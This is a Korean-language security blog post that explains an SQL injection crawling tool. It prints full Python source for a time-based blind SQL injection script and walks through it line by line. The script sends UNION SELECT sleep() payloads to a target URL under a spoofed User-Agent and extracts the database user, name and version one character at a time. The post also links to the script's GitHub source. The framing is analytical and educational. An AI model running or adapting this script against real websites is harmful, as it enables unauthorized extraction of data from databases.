악성코드/기타
SQL Injection 크롤링 도구
IT-Security
2024. 5. 27. 17:28
SQL Injection 크롤링 도구
크롤링 봇으로는 검색엔진 봇과 언어기반 HTTP 클라이언트 봇이 존재한다.
검색엔진 봇은 검색엔진(google, msn..)에 의해 운영되며 웹페이지 색인 생성 및 검색 결과를 제공하는 목적으로 주로 사용된다. 반면 언어기반 HTTP클라이언트 봇은 특정한 언어로 작성된 스크립트나 프로그램을 의미하며 주된 사용 목적은 웹 콘텐츠 자동 수집이다. 언어기반 HTTP 클라이언트 봇을 단순 크롤링 목적으로 사용하면 문제가 없지만, 사이버 공격 목적으로 사용하게 된다면 사이트에 문제가 발생할 수 있으며 그에 대한 책임은 본인에게 있다.
SQL Injection 크롤링 도구 코드 분석
※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다. |
Payload값 선정 및 공격 구문
import sys
import string
import time,datetime
import requests
###크롤링에 필요한 라이브러리
def main(url):
print('Loding...')
print('Start Attack ....')
# payload = list(string.ascii_letters)
payload = list(string.ascii_lowercase)
# payload 변수에 개별 문자로 a-z까지 리스트화
payload += ['_', '.','@',',','-']
# payload 변수에 해당 기호 추가
payload += [str(num) for num in range(0,10)]
# payload 변수에 0~10까지 문자열로 추가
maxLength = 30
exploit = []
# 공격과정에서 추출된 문자 저장
headers = {'User-Agent': 'Test'}
# 크롤링 시 User-Agent값 위장
for i in range(maxLength):
for element in payload:
t1 = time.time()
poc = url+" union select if((ord(SUBSTR(concat_ws(' ---- ',user(),database(),version()),"+str(i+1)+",1))=ord('"+element+"'))=1,sleep(0),sleep(0.5)),2,3"
#payload 변수 값으로 for반복문 실행하면서 SQL Injection 공격구문 완성 / ord값에 element 삽입
response = requests.get(poc, headers=headers)
if response.status_code==200:
t2 = time.time()
print(response.status_code)
print(response.text)
if t2-t1<0.5:
exploit.append(element)
print(''.join(exploit)+'...')
continue
print('Finish...')
- 크롤링에 필요한 파이썬 라이브러리 선언
- exam - import sys
- main 함수에서 공격에 사용할 payload 변수 설정
- 크롤링 시 User-Agent값 위장을 위해 headers값 변경
- payload변수를 사용하여 for 반복문 실행
- SQL Injection 구문 선정 및 반복하여 공격할 포인트에 element값 삽입
- exam - (ord('"+element+"'))
- 만약 response 상태 코드가 200으로 일치하고, 응답시간이 0.5초보다 작다면 exploit리스트에 element값 추가
- 공격이 종료되면 'Finish...'출력
SQL Injection 크롤링 도구 소스 코드
https://github.com/Da2dalus/Hacking/blob/master/sqlInjetct.py